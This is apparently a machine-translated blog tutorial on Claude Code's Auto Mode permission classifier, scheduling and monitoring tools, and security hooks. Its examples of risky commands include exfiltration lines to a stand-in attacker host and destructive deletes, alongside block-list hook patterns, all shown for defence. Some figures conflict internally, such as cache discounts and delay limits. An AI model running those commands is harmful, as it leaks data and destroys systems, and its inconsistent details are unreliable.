Auto Mode, ScheduleWakeup, Monitor: Safe Autonomous Development
In March-April 2026, Claude Code introduces three revolutionary innovations that
transform the way developers work with AI agents: Auto Mode
(a classifier that automatically approves safe actions), ScheduleWakeup
(to orchestrate asynchronous workflows over long times), e Monitor tools (what a stream
real-time background events). Along with TaskCreate, CronCreate and the new slash command
/loop, these tools eliminate "permission fatigue" without sacrificing
safety. It's self-development that actually works.
In this article from the Claude series, we will explore how these new tools work, when use them, how to integrate them into workflows and above all how to balance autonomy of the agent with human control. You'll also learn how to set up security hooks to block risky actions without sacrificing development speed.
What You Will Learn
- What is Auto Mode and how the classifier evaluates each action automatically
- Difference between Auto Mode, YOLO mode and dangerously-skip-permissions
- ScheduleWakeup for asynchronous workflows: TTL cache, delaySeconds, reason field
- The slash command
/loopself-pacing for intelligent polling - Monitor tool for background watchers that don't block development
- TaskCreate, TaskOutput, TaskDelete for orchestration of dependent tasks
- CronCreate for recurring task schedules with classic cron syntax
- Security hooks to block dangerous actions in specific contexts (production)
- Real-world use case: Fully autonomous nightly CI/CD agent
- When NOT to use Auto Mode (security-sensitive code, productive deployments)
Complete Series Overview
| # | Item | Focus |
|---|---|---|
| 1 | Claude as Technical Partner | Setup and first steps |
| 2 | Project Context and Setup | CLAUDE.md and configuration |
| 3 | Concept and Requirements | MVP and user personas |
| 4 | Backend and Frontend Architecture | Spring Boot and Angular |
| 5 | Structure of the Code | Organization and conventions |
| 6 | Advanced Engineering Prompt | Advanced techniques |
| 7 | Testing and quality | Strategies and test generation |
| 8 | Professional Documentation | README, API, ADR |
| 9 | Deploy and DevOps | Docker, CI/CD, monitoring |
| 10 | Evolution and Maintenance | Refactoring and scalability |
| 11 | Real Project Integration | Claude Code in production |
| 12 | Claude Code CLI | Commands and configuration |
| 13 | Agent Skills | Modular capabilities |
| 14 | Specialized Subagents | Agents with specific roles |
| 15 | Hooks and Automation | Event-driven workflows |
| 16 | Ralph Wiggum Method | Test-driven development |
| 17 | BMAD Method | Structured project management |
| 18 | Multi-Agent Orchestration | Agent pipeline |
| 19 | Collaborative Work | Team and pair programming AI |
| 20 | Security and Best Practices | Hardening and compliance |
| 21 | Monitoring and Observability | Metrics and debugging |
| 22 | Prompt Management | Templates and versioning |
| 23 | Context Window Mastery | Memory and focus management |
| 24 | MCP Protocol | Server and custom integrations |
| 25 | Computer Use | GUI Automation (Preview) |
| 26 | Auto Mode, ScheduleWakeup, Monitor (you are here) | Secure self-development |
1. Auto Mode: The Security Classifier
The fundamental problem of working with AI agents is the "permission fatigue":
the agent asks for confirmation for every operation, even the most banal ones (read a file, execute
a test, change git branch). Many developers end up enabling
--dangerously-skip-permissions, increasing the risk of unwanted actions.
Auto Mode (research preview, March 2026, v2.1.83+) offers a middle ground: each tool call is analyzed by a security classifier which automatically decides whether it is safe to proceed or whether it requires human intervention.
How Auto Mode Works
| Phase | What Happens | Time |
|---|---|---|
| 1. User prompts | Write the prompt and press Enter | - |
| 2. Tool planning | Claude Code identifies which tool to use (Read, Write, Bash) | ~100ms |
| 3. Security classification | Classifier parses the tool call (e.g. "rm -rf /" → BLOCKED, "npm test" → SAFE) | ~150-200ms |
| 4. Auto-approve safe | If SAFE, run directly without asking. If RISKY, ask for confirmation | - |
| 5. Result report | Show output of the operation, continue to the next step | - |
Shares Classified as SAFE (Auto-Approved)
# Lettura file
Read(src/app/components/navbar.ts) # SAFE
Read(docs/architecture.md) # SAFE
# Comandi di build standard
Bash(npm run test) # SAFE
Bash(npm run build) # SAFE
Bash(mvn clean package) # SAFE
Bash(python -m pytest) # SAFE
# Comandi git di sola lettura
Bash(git status) # SAFE
Bash(git diff HEAD) # SAFE
Bash(git log --oneline -10) # SAFE
# Comandi git di commit
Bash(git add src/features/user-auth.ts) # SAFE (file specifico)
Bash(git commit -m "feat: add auth") # SAFE (messaggio chiaro)
# Scrittura di file non sensibili
Write(src/app/new-component.ts) # SAFE (se path non è .env, .key, secrets/)
Write(tests/user.spec.ts) # SAFE (file di test)
Shares Classified as RISKY (Require Confirmation)
# Comandi distruttivi
Bash(rm -rf src/) # RISKY - chiede conferma
Bash(git reset --hard HEAD~5) # RISKY - revert lossy
Bash(git push --force) # RISKY - rewrite history
# Accesso a file sensibili
Write(.env.prod) # RISKY - contiene secrets
Write(~/.ssh/id_rsa) # RISKY - private key
Write(database_credentials.json) # RISKY - confidential
# Operazioni di sistema privilegiate
Bash(sudo apt-get install *) # RISKY - privileged
Bash(sudo rm -rf /etc/*) # RISKY - system critical
Bash(chmod 777 *) # RISKY - permission escalation
# Exfiltrazione potenziale
Bash(curl -X POST https://attacker.com) # RISKY - data exfil
Bash(scp * user@attacker.com:/) # RISKY - copy to external
# Modifiche massicce non verificate
Write(package.json) # RISKY - dependency tree change
Write(pom.xml) # RISKY - build config
Bash(npm install -g unknown-package) # RISKY - supply chain
How to Enable Auto Mode
# Metodo 1: CLI flag (attuale per questa sessione)
claude --enable-auto-mode
# Metodo 2: Configurazione permanente (in ~/.claude/settings.json)
{
"permissions": {
"mode": "auto"
}
}
# Metodo 3: IDE (VS Code extension)
# 1. Apri la palette (Cmd/Ctrl+Shift+P)
# 2. Digita "Claude: Permission Mode"
# 3. Seleziona "Auto Mode"
# Desktop app
# Settings → Permissions → Mode: Auto
Auto Mode vs Other Permission Modes
| Mode | Behavior | When to Use | Risk |
|---|---|---|---|
| Standard | Asks for confirmation for each tool call | Sensitive environments, audit trail required | Very slow |
| Auto Mode | Classifier decides automatically | Fast development + balanced security | Low (rare false negatives) |
| YOLO Mode | No confirmation, runs everything | Rapid prototyping, sandbox environments | High (no control) |
| Skip Permissions | --dangerously-skip-permissions (legacy) |
Do not use in production | Critical (no control) |
Auto Mode is available as a research preview on Team plans, Enterprise and API (NO Pro). Supported Models: Sonnet 4.6, Opus 4.6 and 4.7. The classifier relies on model intrinsic knowledge of security; the Anthropic team monitors carefully check false positives/negatives and update regularly.
2. ScheduleWakeup: Long-Term Asynchronous Workflows
Imagine a scenario: you want Claude Code to monitor a build in the background while you keep writing code. Or do you want it to run a code analysis every hour for detect problems. Or again, you need a task that polls every 5 minutes until a condition occurs (e.g. deployment completed).
ScheduleWakeup (v2.1.83+) is a tool call that schedules the execution of a prompt in the future, without requiring your presence. Unlike simple timers, ScheduleWakeup takes advantage of theAnthropic API cache (TTL 5 min) for costs and latency optimized.
Syntax and Parameters
ScheduleWakeup(
delaySeconds: number, # 60-3600 (1 min - 1 ora)
reason: string, # Descrizione breve (es. "monitor build")
prompt: string # Testo verbatim da eseguire al wakeup
)
// Esempio 1: Monitor build con cache warm
ScheduleWakeup(
delaySeconds: 270, # 4.5 min - dentro la finestra cache (5 min)
reason: "Check build status and report",
prompt: "Esegui npm run build. Se fallisce, riporta gli errori. Se succede, riporta tempo totale."
)
// Esempio 2: Polling fino a deploy completato
ScheduleWakeup(
delaySeconds: 1800, # 30 min - cache miss, usa crediti normali
reason: "Check if EC2 instance is healthy",
prompt: "Esegui curl https://api.example.com/health. Se status è 200, deploy ok. Altrimenti, riprova tra 30 min."
)
// Esempio 3: Analisi nightly
ScheduleWakeup(
delaySeconds: 86400, # 1 giorno
reason: "Run security audit on codebase",
prompt: "@src/ Esegui analisi di sicurezza: verifica secrets hardcoded, dipendenze vulnerabili, XSS."
)
Cache Optimization Strategy
Anthropic Cache has a TTL of 5 minutes. Any tool calls within this window reuse cache (30% discount on input tokens). By strategically planning delaySeconds, you can save significantly:
Caching Strategy for ScheduleWakeup
| Delay | Cache Status | Const | Use Case |
|---|---|---|---|
| 60-270 sec | HIT (same context window) | 70% input discount | Quick monitor (build, test, deploy status) |
| 300-600 sec | MISS (cache expired) | Standard cost | Short-medium term polling |
| 600-3600 sec | MISS (cache expired) | Standard cost | Long-term tasks (nightly, daily) |
| 86400+ sec | MISS | Standard cost | Recurring tasks (use CronCreate instead) |
# Iniziale (22:00 UTC)
> Voglio che alle 22:30 verifichi che il build di produzione sia completato.
> Se fallisce, crea un issue su GitHub con i log di errore.
> Se succede, invia un Slack message al team.
Claude esegue:
ScheduleWakeup(
delaySeconds: 1800, # 30 minuti
reason: "Check prod build completion",
prompt: "Esegui: curl -s https://ci.example.com/api/builds/latest
Se status: 'success', invia message Slack al #deployments.
Se status: 'failed', crea issue GitHub con stderr dai log."
)
# Output: "✓ Wakeup schedulato per 22:30 UTC. Ti notificherò il risultato."
# Alle 22:30, Claude Code si riattiva automaticamente, esegue il prompt,
# e mostra il risultato nella sessione / via notifica Telegram/Slack
3. /loop: Self-Pacing for Intelligent Polling
The new slash command /loop (v2.1.85+, April 6, 2026) is a wrapper
convenient around ScheduleWakeup that simplifies repeated polling. Unlike
of a simple Bash loop, /loop è non-blocking: the task
runs in the background while you continue to develop.
Syntax
/loop [--interval SEC] [--max-iterations N] [--until CONDITION]
# Esempio 1: Polling ogni 30 sec finché status = ready
/loop --interval 30 --max-iterations 10 --until "curl https://deploy.internal/status | grep ready"
Check if deployment is ready
# Esempio 2: Monitoraggio build ogni 60 sec (no until condition)
/loop --interval 60 --max-iterations 30
npm run build:watch. Report status ogni iteration.
# Esempio 3: Auto-interval (Claude decide il delay basato su task)
/loop
Monitora i test in esecuzione e riporta il coverage finale
# Output: "/loop task creato con ID #fs8a2x. Polling ogni 60 sec. Ferma con /loop-stop fs8a2x"
When you omit --interval, Claude uses self-pacing: analyze
the task estimates how much time is needed (e.g. build = 120 sec, polling = 30 sec) and chooses
the optimal delay. It's smart without being overkill.
4. Monitor Tool: Background Watchers in Streaming
Unlike ScheduleWakeup (which wakes up in the future), Monitors (April 6, 2026) is a streaming tool that remains active in the background during your work, streaming events in real time. It's perfect for:
- Observe files that change during refactoring
- Track test/build execution in real time
- Monitor system metrics during stress tests
- Aggregate logs from external processes (Docker, Kubernetes)
Signature and Use
Monitor(
command: string, # Comando da eseguire
eventFilter: string, # Regex o pattern per filtrare output
onEvent: (event: string) => void # Callback per ogni evento matchato
)
// Esempio 1: Monitor cambio file
Monitor(
command: "npm run watch",
eventFilter: "^\\[.+\\] compiled|error in",
onEvent: (event) => {
console.log("Compilation event:", event);
if (event.includes("error")) sendAlert();
}
)
// Esempio 2: Monitor container Docker
Monitor(
command: "docker logs -f myapp",
eventFilter: "ERROR|WARN|completed",
onEvent: (event) => {
if (event.startsWith("ERROR")) escalate();
}
)
// Esempio 3: Monitor test coverage
Monitor(
command: "npm run test:watch -- --coverage",
eventFilter: "PASS|FAIL|statements coverage",
onEvent: (event) => {
updateDashboard(event);
}
)
Difference between ScheduleWakeup, /loop and Monitor
| Tools | Block? | Streaming? | When to Use |
|---|---|---|---|
| ScheduleWakeup | No | No (discreet wakeup) | Task to be performed once in the future (build check 10.30pm) |
| /loop | No | No (discrete polling) | Repeated polling with stop condition (e.g. until status = ready) |
| Monitors | No | Yes (real-time stream) | Continuous event observation while you work (file change, log stream) |
5. TaskCreate and CronCreate: Orchestration of Complex Workflows
The family of task commands (March 10, 2026, v2.1.76+) allows you to create, orchestrate and schedule tasks as first-class citizen in the system. They are tools powerful for:
- Delegate subtasks to other agents or Claude himself
- Manage dependencies between tasks (task A waits for output from task B)
- Schedule recurring tasks with standard cron syntax
- Track status and output of past tasks
TaskCreate: Creation of Dependent Tasks
TaskCreate(
title: string, # Nome breve del task
description: string, # Descrizione dettagliata
assignee?: string, # Default: Claude Code stesso
dependencies?: string[], # ID di task da attendere
priority?: "low" | "high", # Default: high
dueDate?: ISO8601 # Scadenza (opzionale)
)
// Esempio 1: Task sequenziale
task_a = TaskCreate(
title: "Analizza codebase",
description: "@src/ Esegui linting, type check, test coverage. Riporta vulnerabilità."
)
// task_a si esegue subito
task_b = TaskCreate(
title: "Fix vulnerabilità",
description: "Basato su task_a, correggi i problemi segnalati.",
dependencies: [task_a.id], // Attendi che task_a finisca
priority: "high"
)
// Esempio 2: Task paralleli con merge finale
task_review = TaskCreate(
title: "Code review",
description: "Esamina src/features/auth.ts",
priority: "high"
)
task_test = TaskCreate(
title: "Test coverage",
description: "Verifica copertura di tests/auth.spec.ts",
priority: "high"
)
task_report = TaskCreate(
title: "Genera report finale",
description: "Sintetizza i risultati di review e test",
dependencies: [task_review.id, task_test.id] // Attendi entrambi
)
CronCreate: Recurring Tasks
CronCreate(
title: string,
cronExpression: string, # Standard cron: "0 2 * * 0" (domenica 2:00)
prompt: string # Task da eseguire
)
// Esempio 1: Analisi di sicurezza notturna
CronCreate(
title: "Nightly security audit",
cronExpression: "0 2 * * *", # Ogni giorno alle 2:00 AM UTC
prompt: "@src/ Esegui audit di sicurezza: secrets, dipendenze vulnerabili, XSS patterns. Invia report via Slack se trovati problemi."
)
// Esempio 2: Weekly code review
CronCreate(
title: "Weekly team code review",
cronExpression: "0 9 * * 1", # Lunedì alle 9:00 AM UTC
prompt: "Genera un report di code review della settimana: trend di quality, metriche di coverage, refactoring suggeriti."
)
// Esempio 3: Monthly cleanup
CronCreate(
title: "Monthly codebase cleanup",
cronExpression: "0 3 1 * *", # 1° del mese alle 3:00 AM UTC
prompt: "
1. Identifica dead code (unused imports, unused functions)
2. Rimuovi TODO comments vecchi (> 6 mesi)
3. Aggiorna dipendenze (npm update)
4. Rigenera lock file
5. Crea PR con i cambiamenti
"
)
// Esempio 4: Daily metrics gathering (ogni 6 ore)
CronCreate(
title: "Gather CI/CD metrics",
cronExpression: "0 */6 * * *", # Ogni 6 ore
prompt: "Raccogli metriche da CI: build success rate, avg compile time, test coverage trend. Aggiungi a Grafana dashboard."
)
Cron Syntax Reference (Standard Unix)
| Position | Meaning | Values |
|---|---|---|
| 1 | Minutes | 0-59 |
| 2 | Hours (UTC) | 0-23 |
| 3 | Day of the month | 1-31 |
| 4 | Month | 1-12 |
| 5 | Day of the week (0=Sunday, 6=Saturday) | 0-6 |
6. Security Hook: PreToolUse to Block Risky Actions
Even with Auto Mode and ScheduleWakeup, you want a last level of protection for high-risk contexts (production, critical databases). Here's how to use PreToolUse hooks to stop dangerous actions before they happen.
Security Bug Fix (March 2026, v2.1.77)
A major bug identified in March: allow rules could be bypassed
deny higher level rules. Fix: da v2.1.77+,
deny di qualsiasi livello prevalse sempre su allow di livelli inferiori.
Questo garantisce che le policy di sicurezza aziendali non possano essere aggirate.
Configurare Hook PreToolUse
{
"hooks": {
"preToolUse": [
{
"name": "block-production-deletes",
"trigger": {
"tool": "Bash",
"pattern": "rm -rf /opt/production.*|git reset --hard|docker rm -f prod.*"
},
"action": "block",
"message": "❌ Tentativo di eliminare dati di produzione. Operazione bloccata. Contatta DevOps."
},
{
"name": "block-secrets-write",
"trigger": {
"tool": "Write",
"pattern": "\\.env\\.prod|\\.key$|\\.pem$|credentials|secrets"
},
"action": "block",
"message": "❌ Tentativo di scrivere file sensibili. Usa environment variables o secret manager."
},
{
"name": "require-approval-sudo",
"trigger": {
"tool": "Bash",
"pattern": "sudo"
},
"action": "ask", // Chiedi conferma invece di bloccare
"message": "⚠️ Questa operazione richiede privilegi. Confermi? (y/n)"
},
{
"name": "log-database-queries",
"trigger": {
"tool": "Bash",
"pattern": "psql|mysql|mongo"
},
"action": "log", // Consenti ma registra nel log
"message": "📝 Database query logging attivato per audit trail."
}
]
}
}
// .claude/hooks.ts
import { PreToolUseHook } from "@anthropic-ai/claude-code";
export const securityHooks: PreToolUseHook[] = [
{
name: "production-safety-check",
async onBeforeToolUse(context) {
const { tool, args } = context;
// Blocca tool write su /opt/production
if (tool.name === "Write" && args.path.startsWith("/opt/production")) {
throw new Error(
"❌ Protezione attiva: file di produzione. " +
"Apporta modifiche su staging e usa CI/CD per il promote."
);
}
// Avvisa se rm non è scoped (es. rm -rf / è CRITICO)
if (tool.name === "Bash" && args.command.includes("rm -rf")) {
const isScoped = /rm -rf [a-zA-Z0-9_\-/.]+[^/]$/.test(args.command);
if (!isScoped) {
const confirmed = await askUserConfirmation(
"⚠️ Operazione rm ad alto rischio (non scoped). Molto pericoloso. Sei sicuro?"
);
if (!confirmed) throw new Error("Operazione cancellata dall'utente");
}
}
}
}
];
7. Caso d'Uso Reale: Agente CI/CD Notturno Completamente Autonomo
Immagina di voler eseguire un'analisi completa della base di codice ogni notte alle 2:00 AM: linting, test, copertura, sicurezza, dipendenze aggiornate, refactoring suggerito. Il tutto senza che tu debba rimanere sveglio o approvare ogni step.
Workflow Completo
// Configurazione: ~/.claude/settings.json + .claude/hooks.json
CronCreate(
title: "Nightly Code Analysis & Fixes",
cronExpression: "0 2 * * *", // Ogni notte alle 2:00 AM UTC
prompt: `
Esegui analisi completa della base di codice. Step sequenziali:
1. [LINTING] npm run lint --fix. Riporta quali file sono stati formattati.
2. [TYPE CHECK] npx tsc --noEmit. Se errori, esegui il fix se banale (type any → unknown).
3. [TEST] npm run test -- --coverage. Riporta coverage trend e test falliti.
4. [SECURITY] npm audit. Se vulnerabilità:
- Se fixable: npm audit fix
- Se non fixable: crea GitHub issue con link CVSS
5. [DEPENDENCY UPDATE] npm outdated. Se update minore/patch:
- Aggiorna
- Rigenera lock file
- Esegui test per verificare compatibilità
6. [REFACTORING SUGGESTION]
@src/ Identifica:
- Dead code (unused imports, functions)
- Code smells (function > 50 linee, cyclomatic complexity > 10)
- Type issues (any, unknown, implicit any)
Se trovati, suggerisci refactoring in commento PR
7. [FINAL REPORT]
Genera report strutturato con:
- ✅ Check passati
- ⚠️ Warning (code smell, outdated packages)
- ❌ Errori critici
Se tutti i check passano: invia Slack message al #dev-team
Se errori: crea GitHub issue e @mention owner
`
)
// Hook di sicurezza attivo:
// - Blocca git push --force
// - Richiede approvazione prima di npm install -g
// - Registra tutte le modifiche su audit log
Il risultato: ogni mattina trovi una base di codice pulita e aggiornata, senza intervento manuale. Il workflow è completamente autonomo grazie a:
- CronCreate per la schedule ricorrente
- Auto Mode per minimizzare le conferme sulle azioni sicure (fix, format)
- Hook di sicurezza per bloccare operazioni ad alto rischio
- TaskCreate con dipendenze per garantire sequenza logica (test prima di push)
8. Quando NON Usare Auto Mode
Auto Mode è potente, ma non è la soluzione per ogni contesto. Ecco quando disabilitare completamente e ritornare a standard mode (ogni operazione richiede conferma):
Contesti che Richiedono Standard Mode (Nessuna Automazione)
- Database produttivo: Nessun alter table, delete row, migration senza approvazione umana
- Deploy su produzione: Ogni push, merge, deployment richiede conferma esplicita
- Modifica file di configurazione critica: .env, secrets, policy files - confermazione obbligatoria
- Operazioni di massa non verificate: Find-replace globale, refactoring su 50+ file
- Accesso a dati sensibili: PII, finanze, dati clinici - audit trail completo
- Ambienti altamente regolati: Compliance HIPAA, PCI-DSS, GDPR - nessuna automazione
// .claude/settings.json - toggle per directory
{
"permissions": {
"mode": "auto" // Default global
},
"contextOverrides": [
{
"path": "infra/terraform/prod/**",
"permissions": {
"mode": "standard" // Override: prod infra richiede approvazione
}
},
{
"path": "src/features/**",
"permissions": {
"mode": "auto" // Standard: feature code con Auto Mode
}
}
]
}
9. Best Practice: Equilibrare Autonomia e Controllo
10 Regole d'Oro per Sviluppo Autonomo Sicuro
- Abilita Auto Mode solo in contesti sicuri: Development, staging, feature branch. Disabilita su main/prod.
- Usa hook di sicurezza come secondo strato: Auto Mode + hook = defense in depth.
- Testa una volta, automatizza milioni: Se è sicuro testarlo una volta, è sicuro programmarlo in CronCreate.
- Specificity over generality: Hook che blocca "rm -rf /opt/production" è meglio di un blocco globale "rm -rf".
- Audit trail sempre attivo: Registra ogni ScheduleWakeup, TaskCreate, Monitor che non sia banale (letture di file).
- Graceful degradation: Se un task autonomo fallisce, non deve propagare il failure (es. test fallisce → log, non crash).
- Human in the loop per decisioni: Auto Mode approva azioni di basso rischio, ma chiedi confirmazione per impatto alto (deployment).
- Monitor your costs: Too many ScheduleWakeup/CronCreate = high API costs. Consolidate where possible.
- Document autonomous logic: If an agent does something at night, document it in a README for others to understand.
- Iterate on feedback: If Auto Mode blocks a legitimate action (false positives), it updates the classifier.
10. Conclusion: The Future of Autonomous Development
Auto Mode, ScheduleWakeup, Monitor, TaskCreate and CronCreate represent a paradigm shift in software development: from the constant presence of the user to a dynamic partnership where the autonomous system works when appropriate, but always requires your control over decisions criticisms.
The challenge is not "to make everything automatic", but rather "automate intelligently without sacrificing security and control." The tools introduced in March-April 2026 deliver exactly that: autonomy with guardrails.
Key Points
- Auto Mode: Classifier that automatically approves safe actions, blocks risky ones
- ScheduleWakeup: Future task schedule with Anthropic cache optimization (5 min TTL)
- /loop: Intelligent non-blocking polling with optional self-pacing
- Monitors: Real-time event streaming for continuous observation
- TaskCreate + CronCreate: Workflow orchestration with dependencies and recurring schedules
- Safety hook: Defense in depth - PreToolUse to block dangerous actions
- Contexts of use: Development and staging with Auto Mode, production with standard mode + hook
In the next article we will explore Computer Use: the capacity by Claude Code to control the mouse and keyboard to automate GUI interactions. From screenscraping automation to E2E testing, Computer Use opens new frontiers of automation that today would seem impossible.
Commenti
Caricamento commenti...
Sign in to comment